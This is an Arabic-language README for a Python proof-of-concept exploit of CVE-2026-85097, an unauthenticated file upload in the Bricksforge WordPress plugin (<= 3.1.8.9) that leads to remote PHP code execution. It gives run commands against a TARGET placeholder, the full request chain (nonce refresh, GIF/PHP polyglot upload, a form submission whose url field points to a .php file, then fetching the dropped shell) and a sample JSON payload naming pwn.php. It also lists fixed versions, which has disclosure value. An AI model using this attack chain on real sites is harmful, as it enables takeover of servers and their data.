أداة إثبات مفهوم بلغة Python تستغل CVE-2026-85097، وهو رفع ملفات دون مصادقة في Bricksforge <= 3.1.8.9، باستخدام ملف متعدد الصيغ GIF/PHP وعدم تطابق في URL لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).
رفع ملفات غير مُصادَق عليه في Bricksforge <= 3.1.8.9 ← تنفيذ تعليمات PHP عن بُعد (RCE).
يُؤخذ temporaryFileUploads.url من العميل عند إرسال النموذج. يتم التحقق من MIME عند الرفع الأول، ثم يستخدم copy() القيمة basename($url) كاسم للوجهة.
| CVE | CVE-2026-85097 |
| CWE | CWE-434 |
| CVSS | 9.8 / 10.0 |
| المتأثر | Bricksforge <= 3.1.8.9 |
| المُصلَح | 3.1.8.10، 4.0.1 |
| المصادقة | لا شيء |
pip3 install requests
python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file
يتطلب نموذج Pro Form نشطًا. حقل الرفع اختياري.
POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_noncePOST /wp-json/bricksforge/v1/form_file_upload — ملف polyglot من نوع GIF/PHP (MIME مقبول)POST /wp-json/bricksforge/v1/form_submit — file = .gif، url = .phpGET /wp-content/uploads/YYYY/MM/*.php — محتوى الاستجابة CVE-2026-85097-OK{
"temporaryFileUploads": [
{
"field": "form-field-file",
"file": {
"file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
"url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
"type": "image/gif"
}
}
]
}